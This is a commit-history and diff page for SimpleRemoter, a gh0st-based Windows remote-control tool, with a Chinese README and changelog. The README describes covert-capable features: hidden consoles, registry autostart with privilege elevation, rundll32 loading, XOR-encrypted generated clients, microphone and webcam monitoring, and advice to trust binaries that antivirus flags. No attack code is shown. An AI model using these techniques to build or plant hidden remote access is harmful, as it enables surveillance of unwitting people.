72 Commits

Author SHA1 Message Date
yuanyuanxiang
816385e9c8 Release stable version 1.0.6 2025-01-12 06:20:21 +08:00
yuanyuanxiang
1694cabd39 feature: #27 Support sorting for service list 2025-01-12 03:50:07 +08:00
yuanyuanxiang
c58a9dbe73 fix: #29 Bit Depth 32 will cause program crash 2025-01-12 03:32:16 +08:00
yuanyuanxiang
97edc611c7 fix: #28 Fatal error when deconstruct CScreenManager 2025-01-12 03:29:50 +08:00
yuanyuanxiang
1942f499e3 feature: #26 Support sorting for processes and windows 2025-01-10 00:39:50 +08:00
yuanyuanxiang
077df93a68 fix: #25 Using delete[] to free LocalAlloc memory 2025-01-10 00:21:28 +08:00
yuanyuanxiang
c597af3335 fix: Hidden bugs in IOCPClient and CTalkManager 2025-01-01 18:57:48 +08:00
yuanyuanxiang
66923b8807 feat: Support XOR encrypt for generating service 2025-01-01 04:54:27 +08:00
yuanyuanxiang
9561a5d09d fix: Max connection limit not applied 2024-12-31 03:24:34 +08:00
yuanyuanxiang
943c269700 Merge pull request #24 from yuanyuanxiang/bugFix
Fix OVERLAPPEDPLUS memory leak and  Support `rundll32.exe`
2024-12-30 00:16:22 +08:00
yuanyuanxiang
01d11f5fa3 fix: OVERLAPPEDPLUS memory leak when exit controller 2024-12-29 23:42:29 +08:00
yuanyuanxiang
37d96a7f66 improve: Click close button to hide application 2024-12-29 23:42:29 +08:00
yuanyuanxiang
7df66348b3 feat: Support rundll32.exe to call ServerDll.dll 2024-12-29 23:41:58 +08:00
yuanyuanxiang
cba61fab7e Merge pull request #23 from yuanyuanxiang/bugFix
Rename `ReadMe.txt` to `ReadMe.md`
2024-12-29 17:30:36 +08:00
yuanyuanxiang
aacae8d348 Rename ReadMe.txt to ReadMe.md 2024-12-29 17:28:44 +08:00
yuanyuanxiang
d4b6d48bc1 fix: Duplicate client in the Online list 2024-12-29 03:33:04 +08:00
yuanyuanxiang
83849e688f feat: Add showing client type feature 2024-12-29 01:09:06 +08:00
yuanyuanxiang
7a2248f2cf Merge pull request #22 from yuanyuanxiang/bugFix
fix big package bug and add new features
2024-12-28 21:48:54 +08:00
yuanyuanxiang
8aa42d5db2 feat: Update client build and add remote update feature 2024-12-28 21:38:36 +08:00
yuanyuanxiang
48260b367f fix: Client receiving big package failed 2024-12-28 17:14:31 +08:00
yuanyuanxiang
079443d48f feat: Add showing client version and start time 2024-12-28 04:34:54 +08:00
yuanyuanxiang
9617694d14 Merge pull request #21 from yuanyuanxiang/bugFix
reorg: Move commands to common/commands.h
2024-12-27 19:53:22 +08:00
yuanyuanxiang
97ee5bc26f reorg: Move commands to common/commands.h 2024-12-27 19:51:47 +08:00
yuanyuanxiang
a2975d9471 solve some issues according to code analysis result 2024-12-27 19:48:12 +08:00
yuanyuanxiang
cdded1687d Merge pull request #20 from yuanyuanxiang/bugFix
fix #19: server application crash
2024-12-26 22:01:07 +08:00
yuanyuanxiang
e69f18d576 fix: showing the wrong host quantity in status bar 2024-12-26 21:58:44 +08:00
yuanyuanxiang
0c0c24534b fix: #19 the CBuffer causing server crash 2024-12-26 21:37:27 +08:00
yuanyuanxiang
5b86910cb2 fix: client threads number excceeding bug 2024-12-24 21:19:04 +08:00
yuanyuanxiang
727bbd395b file: add 2019Remote.sln 2024-09-14 02:22:23 +08:00
yuanyuanxiang
3d0e7f7573 fix: crash when processing REG_DWORD and REG_BINARY 2024-09-14 02:19:33 +08:00
yuanyuanxiang
0d6c64f87b IDE: 升级为使用Visual Studio 2019编译 2024-09-06 15:59:24 +08:00
yuanyuanxiang
225c7e0318 style: 更新zlib为不带ASMINF编译的静态库 2021-03-14 20:55:22 +08:00
yuanyuanxiang
2c870f1952 fix: 文件管理对话框SetPaneText崩溃,传输故障 2021-03-14 19:54:52 +08:00
yuanyuanxiang
0a6641baec fix: 被控端无摄像头时引发的被控程序崩溃问题 2021-03-14 17:56:23 +08:00
yuanyuanxiang
a43386d181 feature: TestRun读配置失败后再从命令行获取IP和端口信息 2021-03-14 17:52:13 +08:00
yuanyuanxiang
833b0347c1 fix: #3 and #13 2021-03-14 12:15:53 +08:00
yuanyuanxiang
2ffa2534f1 fix: IOCPServer::StartServer and IOCPClient::WorkThreadProc 2021-03-14 11:44:56 +08:00
yuanyuanxiang
919afb5311 fix: issue #9 2020-03-17 18:28:26 +08:00
yuanyuanxiang
fa383037a4 style: 整理远程桌面代码 2019-09-07 13:55:09 +08:00
yuanyuanxiang
5a7145a5ac style:解决采用VS2015编译时某些项目不通过的问题 2019-08-25 10:06:31 +08:00
yuanyuanxiang
fdee9b88c2 新增VS2015项目文件及解决方案文件。 2019-05-14 21:01:03 +08:00
yuanyuanxiang
a48a5fcfb9 自动调整远程桌面传屏速率 2019-05-11 11:28:58 +08:00
yuanyuanxiang
7005d80ead 优化左键点击Yama托盘图标的效果 2019-05-08 11:47:55 +08:00
yuanyuanxiang
e31c88b59c 修改默认主机
修改未读取配置文件或读取出错时的远程主机信息。
2019-05-07 22:09:32 +08:00
yuanyuanxiang
e234b37279 添加对域名的解析功能。 2019-05-07 20:27:02 +08:00
yuanyuanxiang
b8249a241c 编译采用"Visual Studio 2012 - Windows XP (v110_xp)"
所有项目均采用平台工具集"Visual Studio 2012 - Windows XP
(v110_xp)",以支持在XP上运行。因此,2019年4月30日的修改被回退或撤销。
2019-05-06 23:15:24 +08:00
yuanyuanxiang
fb01dee4dd 添加提示
当TestRun、ClientDemo运行时若未成功加载ServerDll.dll,则给出提示。
2019-05-06 21:11:49 +08:00
yuanyuanxiang
a58c105d55 编译器升级为VS2015
升级全部项目采用Visual Studio Community 2015编译。
2019-04-30 14:06:02 +08:00
yuanyuanxiang
60a9cf202c TestRun提升权限
TestRun在写入开机自启动项时先提升权限,以防止因权限不足而写注册表失败。
2019-04-20 11:01:09 +08:00
yuanyuanxiang
60a59b8dd5 音频相关的1处缺陷修复
1、TestRun读取配置文件改为setting.ini,配置项为 [settings] localIp 和 ghost。
2、CAudio的线程waveInCallBack在while循环有一处return,已改为break.
2019-04-19 11:02:18 +08:00
yuanyuanxiang
953d298c1c 区分开退出主控端和被控端2个消息
在2015RemoteDlg.h添加宏CLIENT_EXIT_WITH_SERVER,用于控制ghost是否随Yama退出。
明确区分开退出被控端和退出主控端2个消息,只有发送退出被控端消息才会停止Socket客户端。
2019-04-15 16:24:32 +08:00
yuanyuanxiang
ab7259edda ghost支持XP 2019-04-04 16:58:45 +08:00
yuanyuanxiang
1f03c14fee 修复操作系统上报不准确的问题
主控端和受控端同时修改LOGIN_INFOR结构,修复了受控端上报的操作系统信息不准确的问题。
2019-03-29 10:40:08 +08:00
yuanyuanxiang
188d5cd24a 无重要更新
新增Release模式编译后控制台运行时不可见,新增TestRun向注册表写入开机自启动项。
2019-03-25 22:25:14 +08:00
yuanyuanxiang
b8ab695e5e 修改rc文件
将"2015Remote.rc"的一个光标文件"4.cur"的路径由绝对路径改为相对路径。
2019-03-24 21:47:46 +08:00
yuanyuanxiang
74c4266eb7 发布V1.0.0.4 2019-02-04 17:49:59 +08:00
yuanyuanxiang
fd62f33e60 非代码修改
清理垃圾注释、整理不良排版,对代码略有改动。
2019-02-04 14:49:11 +08:00
yuanyuanxiang
1e7cbcbf5c 解决打开远程视频卡住的问题 2019-01-26 14:50:59 +08:00
yuanyuanxiang
91428795e6 准备分布v1.0.0.3 2019-01-26 14:05:37 +08:00
yuanyuanxiang
af63166fbe 解决语音监听对话框不更新状态的问题
修复语音监听对话框显示已收到数据不更新状态的问题。
发现"发送本地语音"会导致主控端容易崩溃的问题,现象类似于操作远程桌面时的随机崩溃。
2019-01-26 11:53:11 +08:00
yuanyuanxiang
be45b5bd89 完善录制被控端视频的功能
1、修复被控端消息提示对话框在消息换行时显示不完整的问题。
2、添加/完善录制远程被控端视频的功能。
2019-01-26 10:35:10 +08:00
yuanyuanxiang
bd7b9ed492 减少捕获音视频时申请内存次数
减少音频视频捕获过程中频繁申请内存。
2019-01-22 20:44:23 +08:00
yuanyuanxiang
4283a31e66 减少远程桌面new的频次
减少远程桌面new缓冲区的频率,将部分从堆上new固定内存的操作改用从栈上分配内存。
2019-01-21 21:04:17 +08:00
yuanyuanxiang
5aadfc13a6 完善远程控制追踪鼠标 2019-01-20 20:04:11 +08:00
yuanyuanxiang
e4793a489e 因为易崩而弃用lz4
1、发现使用lz4压缩库时监控端程序进行远程桌面操作时容易崩溃,原因不明。

2、修复内存泄漏缺陷,在throw "Bad Buffer"的情况需要释放申请的内存。
2019-01-19 23:26:05 +08:00
yuanyuanxiang
b573baed0b 发布V1.0.0.2 2019-01-18 17:37:15 +08:00
yuanyuanxiang
38c0c1ccdb 修复语音监听模块的问题 2019-01-17 21:14:02 +08:00
yuanyuanxiang
78623390b2 修复远程桌面跟踪鼠标不准的问题
添加比zstd更快的压缩库lz4。
2019-01-17 20:41:51 +08:00
yuanyuanxiang
16741545a9 采用比zlib更快的压缩库zstd
远程桌面帧率提高到12;补充上传zlib.lib。
2019-01-17 11:58:26 +08:00
yuanyuanxiang
c54d75505e 主控端退出时被控端也退出
1、修复主控端CTalkDlg的内存泄漏问题,被控端即时消息对话框置于顶层。

2、SAFE_DELETE(ContextObject->olps)有崩溃概率。改为主控端退出时先令被控端退出,就没有内存泄漏。

3、开关音频时偶有内存泄漏,waveInCallBack线程不能正常退出。
2019-01-15 21:48:37 +08:00
yuanyuanxiang
c6e9a06a1a 根据代码分析进行少量修改 2019-01-13 13:36:00 +08:00
yuanyuanxiang
79903cbdff 彻底修复多次打开文件管理窗口崩溃的缺陷
1、在主对话框清理子窗口的资源(原先在各自的OnClose函数),通过CLOSE_DELETE_DLG控制。

2、修正CFileManagerDlg的构造函数调用SHGetFileInfo和FromHandle方法,解决多次打开崩溃。

3、更新服务端zlib版本为V1.2.11。(与客户端不同,因inflate_fast 崩溃,没有采用汇编)
2019-01-13 13:13:59 +08:00
146 changed files with 15605 additions and 2010 deletions

3
.gitignore vendored
View File

@@ -27,7 +27,6 @@ Release
*.lai *.lai
*.la *.la
*.a *.a
*.lib
# Executables # Executables
*.exe *.exe
@@ -67,3 +66,5 @@ server/2015Remote/2015Remote.aps
*.suo *.suo
server/2015Remote.VC.db server/2015Remote.VC.db
server/2015Remote.opensdf server/2015Remote.opensdf
*.7z
*.ini

43
2015Remote.sln Normal file
View File

@@ -0,0 +1,43 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.25420.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Yama", "server\2015Remote\2015Remote_vs2015.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "client\ghost_vs2015.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "client\TestRun_vs2015.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}"
ProjectSection(ProjectDependencies) = postProject
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "client\ClientDll_vs2015.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x86 = Debug|x86
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.ActiveCfg = Debug|Win32
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.Build.0 = Debug|Win32
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.ActiveCfg = Release|Win32
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.Build.0 = Release|Win32
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.ActiveCfg = Debug|Win32
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.Build.0 = Debug|Win32
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.ActiveCfg = Release|Win32
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.Build.0 = Release|Win32
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.ActiveCfg = Debug|Win32
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.Build.0 = Debug|Win32
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.ActiveCfg = Release|Win32
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.Build.0 = Release|Win32
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.ActiveCfg = Debug|Win32
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.Build.0 = Debug|Win32
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.ActiveCfg = Release|Win32
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

43
2019Remote.sln Normal file
View File

@@ -0,0 +1,43 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.25420.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Yama", "server\2015Remote\2015Remote_vs2015.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "client\ghost_vs2015.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "client\TestRun_vs2015.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}"
ProjectSection(ProjectDependencies) = postProject
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "client\ClientDll_vs2015.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x86 = Debug|x86
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.ActiveCfg = Debug|Win32
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.Build.0 = Debug|Win32
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.ActiveCfg = Release|Win32
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.Build.0 = Release|Win32
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.ActiveCfg = Debug|Win32
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.Build.0 = Debug|Win32
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.ActiveCfg = Release|Win32
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.Build.0 = Release|Win32
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.ActiveCfg = Debug|Win32
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.Build.0 = Debug|Win32
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.ActiveCfg = Release|Win32
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.Build.0 = Release|Win32
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.ActiveCfg = Debug|Win32
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.Build.0 = Debug|Win32
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.ActiveCfg = Release|Win32
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

325
ReadMe.md Normal file
View File

@@ -0,0 +1,325 @@
# 项目简介
**原始来源:** [zibility](https://github.com/zibility/Remote)
**功能概述:** 基于gh0st的远程控制器实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。
如果您热爱研究控制程序喜欢本项目请您对该项目添加星标。Fork、Watch此项目提交Issues发起Pull Request都是受欢迎的。
根据本人空闲情况,此项目会不定期更新。若您想对该项目了解更多技术细节,喜欢讨论软件的各方面,学习和交流请通过适当的方式联系。
**起始日期**2019.1.1
## 主控程序
主控程序为**YAMA.exe**是Server端Release发布版本在单台电脑只能运行一个示例。
下面展示主控程序运行界面,所有功能均可用,程序运行稳定。
某些功能要求受控程序以管理员权限运行。
![主界面](./images/Yama.png)
主界面以列表形式展示连接到本机的受控程序。
选中某个主机以便进行远程控制。
![终端管理](./images/Console.png)
终端管理打开命令行窗口,可以执行远程命令。
![进程管理](./images/Process.png)
进程管理显示受控机器上面正在运行的进程,可对进程进行启停操作。
![窗口管理](./images/Window.png)
窗口管理显示受控机器上面打开的窗口或程序,可对其进行操作。
![桌面管理](./images/Remote.png)
桌面管理即"远程桌面",控制远程机器。
![文件管理](./images/FileManage.png)
文件管理即在本机和受控机器之间传输文件。
![语音管理](./images/Voice.png)
语音管理即监听受控机器的声音,需受控机器有声音输入设备。
![视频管理](./images/Video.png)
视频管理即打印受控机器的摄像头,需受控机器有摄像头。
![服务管理](./images/Service.png)
服务管理即打开受控机器上面的服务列表。
![注册表管理](./images/Register.png)
注册表管理即打开受控机器上面的注册表。
## 受控程序
![主界面](./images/TestRun.png)
受控程序是Client端分为2种运行形式"类型"):单个程序 **1** ghost.exe和 **2** TestRun.exe+ServerDll.dll形式。
1单个程序运行时不依赖其他动态链接库而第2种情况运行时由EXE程序调用核心动态链接库。
# 更新日志
2019.1.5
1、整理垃圾排版优化上线下线处理逻辑。
2、修复部分内存泄漏问题改善线程处理逻辑。
3、修复客户端不停断线重连的缺陷。解决部分内存泄漏缺陷。
4、解决几处缺陷。【遗留问题】文件管理对话框释放资源导致第2次打开崩溃。
2019.1.6
1、改用EnumDisplaySettings获取屏幕大小原方法获取屏幕大小不准。
2、将FileManagerDlg、InputDlg、FileTransferModeDlg、TrueColorToolBar还原到gh0st最初版本。
3、新增项目"ghost"不通过TestRun调用dll而是直接生成可执行文件。
4、修复开启视频客户端产生的一处内存泄漏缺陷m_pCapture需要释放。
2019.1.7
1、ghost单台电脑只允许启动唯一的实例。
2、远程桌面反应迟钝改用每秒传送8帧屏幕后续有待优化。
2019.1.8
1、发现传屏的瓶颈在zlib压缩数据更新zlib到版本V1.2.11提高传送屏幕速度到每秒10帧。
2、ghost的类CBuffer不需要临界区。
2019.1.9
1、服务端IOCPServer类的工作线程改为计算机核心个数的2倍。
2、解决服务端主动退出的内存泄漏问题泄漏源在OVERLAPPEDPLUS。
2019.1.10
1、服务端远程控制增加全屏系统右键菜单、退出全屏F11的功能。
2、修复客户端机器屏幕缩放时远程桌面鼠标光标位置不准确的问题。跟踪光标受影响
3、发现服务端需要采用默认英文输入法才能在远程桌面输入中文怀疑本地输入法截获消息
4、添加崩溃时写dump文件的代码。
2019.1.11
1、修复文件管理对话框多次打开崩溃的问题【遗留问题】
2、遗留问题远程cmd窗口总是将输入命令输出2次、文件对话框的菜单操作可能已失效。
2019.1.12
1、还原客户端的文件管理模块代码为gh0st的源码3.6版本.
2、修复上述"cmd窗口总是将输入命令输出2次"遗留问题。
3、打开注册表关闭后崩溃参照按对文件管理窗口的修改进行处理。遗留问题
并无内存泄漏,但退出时报"HEAP: Free Heap modified after it was freed"问题。
4、退出时睡眠一会等待服务端清理发现这样可以避免退出时崩溃的概率。
5、发布稍微稳定的版本V1.0.0.1。
2019.1.13
1、在主对话框清理子窗口的资源原先在各自的OnClose函数通过CLOSE_DELETE_DLG控制。
2、修正CFileManagerDlg的构造函数调用SHGetFileInfo和FromHandle方法解决多次打开崩溃。
3、更新服务端zlib版本为V1.2.11。与客户端不同因inflate_fast 崩溃,没有采用汇编)
2019.1.15
1、修复主控端CTalkDlg的内存泄漏问题被控端即时消息对话框置于顶层。
2、SAFE_DELETE(ContextObject->olps)有崩溃概率。改为主控端退出时先令被控端退出,就没有内存泄漏。
3、开关音频时偶有内存泄漏waveInCallBack线程不能正常退出。
2019.1.16
1、智能计时宏AUTO_TICK有问题不应该用无名的局部变量auto_tick。
2、采用由Facebook所开发的速度更快的压缩库zstd提高程序运行效率。
参看https://github.com/facebook/zstd
2019.1.17
1、添加比zstd更快的压缩库压缩率不如zstd和zliblz4 1.8.3,参看
https://github.com/lz4/lz4
2、修复被控端屏幕被缩放显示时远程桌面跟踪鼠标的位置不准的问题。
3、修复语音监听的问题2个事件CAudio修改为非"Manual Reset"。
2019.1.18
1、整理部分垃圾代码。
2、发布V1.0.0.2。
2018.1.19
1、发现使用lz4压缩库时监控端程序进行远程桌面操作时容易崩溃原因不明。
2、修复内存泄漏缺陷在throw "Bad Buffer"的情况需要释放申请的内存。
2019.1.20
1、发现不管是采用zstd还是zlib主控端在进行桌面控制时均有崩溃的几率zlib较小
2、改用zlib压缩解压库。
3、完善追踪鼠标时鼠标形态变化时的展现效果。
4、当退出远程桌面窗口全屏状态时不再向远程被控端发送F11。
5、发现在有线网络条件下主控端崩溃几率较小。
6、禁用主控端输入法解决使用远程桌面在被控端输入时的麻烦问题。
2019.1.21
减少远程桌面new缓冲区的频率将部分从堆上new固定内存的操作改用从栈上分配内存。
2019.1.22
减少音频视频捕获过程中频繁申请内存。
2019.1.25
1、修复被控端消息提示对话框在消息换行时显示不完整的问题。
2、添加/完善录制远程被控端视频的功能。
3、修复语音监听对话框显示已收到数据不更新状态的问题。
4、发现"发送本地语音"会导致主控端容易崩溃的问题,现象类似于操作远程桌面时的随机崩溃。
5、设置视频监控对话框为可调整大小为其设置图标。
2019.1.26
1、发布V1.0.0.3。
2、修复Release模式打不开远程视频或打开视频时画面卡住的问题问题出在CCaptureVideo GetDIB。
2019.2.4
清理垃圾注释、整理不良排版,对代码略有改动。
遗留问题:文件管理功能无效、主控端随机崩溃。因此有必要将文件管理的功能屏蔽。
发布V1.0.0.4。
2019.3.24
1、将"2015Remote.rc"的一个光标文件"4.cur"的路径由绝对路径改为相对路径。
2、新增Release模式编译后控制台运行时不可见新增TestRun向注册表写入开机自启动项。
2019.3.29
1、主控端和受控端同时修改LOGIN_INFOR结构修复了受控端上报的操作系统信息不准确的问题。
2、发布V1.0.0.5。
注意:此次更新后的主控端需要和受控端匹配使用,否则可能出现问题。
2019.4.4
ghost项目采用VS2012 xp模式编译以便支持在XP系统上运行。
2019.4.14
在2015RemoteDlg.h添加宏CLIENT_EXIT_WITH_SERVER用于控制ghost是否随Yama退出。
2019.4.15
明确区分开退出被控端和退出主控端2个消息只有发送退出被控端消息才会停止Socket客户端。
2019.4.19
1、TestRun读取配置文件改为setting.ini配置项为 [settings] localIp 和 ghost。
2、CAudio的线程waveInCallBack在while循环有一处return已改为break.
2019.4.20
TestRun在写入开机自启动项时先提升权限以防止因权限不足而写注册表失败。
2019.4.30
升级全部项目采用Visual Studio Community 2015编译。
2019.5.6
当TestRun、ClientDemo运行时若未成功加载ServerDll.dll则给出提示。
所有项目均采用平台工具集"Visual Studio 2012 - Windows XP (v110_xp)"以支持在XP上运行。
2019.5.7
1、添加对远程IP使用域名时的支持若IP为域名先将域名进行解析后再连接。
2、添加文档“使用花生壳.txt”介绍了如何使用花生壳软件搭建远程监控系统。
2019.5.8
优化左键点击Yama托盘图标的效果。
2019.5.11
优化远程桌面发送屏幕的功能,可动态调整发送屏幕的速率。
2019.8.25
调整项目设置解决采用VS2015编译时某些项目不通过的问题。
2021.3.14
修复了若干个问题。
2024.9.6
1.新增"2019Remote.sln"支持使用Visual Studio 2019编译项目。
2.增加了使用VLD的操作方法详见"server\2015Remote\stdafx.h"。
注意自VS2019开始不支持XP系统了微软已经声明这个变更。如果有需要在XP系统进行监控的需求推荐使用"2015Remote.sln"。
如果使用VS2015编译需将WindowsTargetPlatformVersion修改为8.1将PlatformToolset修改为v140_xp。
2024.12.26
解决主控程序概率性崩溃的问题,增强主控程序运行的稳定性。本人未进行广泛测试,不保证彻底根治,但稳定性有明显改观。
fix: client threads number excceeding bug
fix: #19 the CBuffer causing server crash
fix: showing the wrong host quantity in status bar
2024.12.27
solve some issues according to code analysis result
reorg: Move commands to common/commands.h
此次提交的重点是将重复代码移动到公共目录,减少代码的冗余。
2024.12.28
1.修改了注册指令内容,新生成的主控程序和被控程序不能和以往的程序混用!! 预留了字段,以便未来之需。
2.解决客户端接收大数据包的问题! 主控程序增加显示被控端版本信息,以便实现针对老版本在线更新(仅限基于TestRun的服务)的能力。
在主控程序上面增加了显示被控端启动时间的功能,以便掌握被控端程序的稳定性。
3.完善生成服务程序的功能。
2024.12.29
增加显示被控程序"类型"的功能如果被控程序为单个EXE则显示为"EXE"如果被控程序为EXE调用动态库形式则显示为"DLL".
当前只有类型为DLL的服务支持在线升级。本次提交借机对前一个更新中的"预留字段"进行了验证。
在动态链接库中增加导出函数Run以便通过rundll32.exe调用动态链接库。这种形式也是支持在线对DLL进行升级的。
2024.12.31
生成服务时增加加密选项当前支持XOR加密。配合使用解密程序来加载加密后的服务。
2025.01.12
修复被控程序关于远程桌面相关可能的2处问题#28 #29)。增加对主控端列表窗口的排序功能(#26 #27),以便快速定位窗口、服务或进程。
发布一个运行**非常稳定**的版本v1.0.6该版本不支持在较老的Windows XP系统运行VS2019及以后版本已不支持XP工具集为此需要更早的VS
您可以从GitHub下载最新的Release也可以clone该项目在相关目录找到。如果杀毒软件报告病毒这是正常现象请信任即可或者您可以亲自编译。
# 沟通反馈
QQ962914132
联系方式: [Telegram](https://t.me/doge_grandfather), [Email](mailto:yuanyuanxiang163@gmail.com), [LinkedIn](https://www.linkedin.com/in/wishyuanqi)
问题报告: [Issues](https://github.com/yuanyuanxiang/SimpleRemoter/issues)
欢迎提交: [Merge requests](https://github.com/yuanyuanxiang/SimpleRemoter/pulls)

View File

@@ -1,73 +0,0 @@
[简介]
基于gh0st的远程控制器实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。
来源https://github.com/zibility/Remote
日期2019.1.1
[更新日志]
2019.1.5
1、整理垃圾排版优化上线下线处理逻辑。
2、修复部分内存泄漏问题改善线程处理逻辑。
3、修复客户端不停断线重连的缺陷。解决部分内存泄漏缺陷。
4、解决几处缺陷。【遗留问题】文件管理对话框释放资源导致第2次打开崩溃。
2019.1.6
1、改用EnumDisplaySettings获取屏幕大小原方法获取屏幕大小不准。
2、将FileManagerDlg、InputDlg、FileTransferModeDlg、TrueColorToolBar还原到gh0st最初版本。
3、新增项目"ghost"不通过TestRun调用dll而是直接生成可执行文件。
4、修复开启视频客户端产生的一处内存泄漏缺陷m_pCapture需要释放。
2019.1.7
1、ghost单台电脑只允许启动唯一的实例。
2、远程桌面反应迟钝改用每秒传送8帧屏幕后续有待优化。
2019.1.8
1、发现传屏的瓶颈在zlib压缩数据更新zlib到版本V1.2.11提高传送屏幕速度到每秒10帧。
2、ghost的类CBuffer不需要临界区。
2019.1.9
1、服务端IOCPServer类的工作线程改为计算机核心个数的2倍。
2、解决服务端主动退出的内存泄漏问题泄漏源在OVERLAPPEDPLUS。
2019.1.10
1、服务端远程控制增加全屏系统右键菜单、退出全屏F11的功能。
2、修复客户端机器屏幕缩放时远程桌面鼠标光标位置不准确的问题。跟踪光标受影响
3、发现服务端需要采用默认英文输入法才能在远程桌面输入中文怀疑本地输入法截获消息
4、添加崩溃时写dump文件的代码。
2019.1.11
1、修复文件管理对话框多次打开崩溃的问题【遗留问题】
2、遗留问题远程cmd窗口总是将输入命令输出2次、文件对话框的菜单操作可能已失效。
2019.1.12
1、还原客户端的文件管理模块代码为gh0st的源码3.6版本.
2、修复上述"cmd窗口总是将输入命令输出2次"遗留问题。
3、打开注册表关闭后崩溃参照按对文件管理窗口的修改进行处理。遗留问题
并无内存泄漏,但退出时报"HEAP: Free Heap modified after it was freed"问题。
4、退出时睡眠一会等待服务端清理发现这样可以避免退出时崩溃的概率。
5、发布稍微稳定的版本V1.0.0.1。

Binary file not shown.

BIN
Releases/v1.0.6/TestRun.exe Normal file

Binary file not shown.

BIN
Releases/v1.0.6/Yama.exe Normal file

Binary file not shown.

BIN
Releases/v1.0.6/ghost.exe Normal file

Binary file not shown.

View File

@@ -14,12 +14,13 @@ CAudio::CAudio()
{ {
m_bExit = FALSE; m_bExit = FALSE;
m_hThreadCallBack = false; m_hThreadCallBack = false;
m_Thread = NULL;
m_bIsWaveInUsed = FALSE; m_bIsWaveInUsed = FALSE;
m_bIsWaveOutUsed = FALSE; m_bIsWaveOutUsed = FALSE;
m_nWaveInIndex = 0; m_nWaveInIndex = 0;
m_nWaveOutIndex = 0; m_nWaveOutIndex = 0;
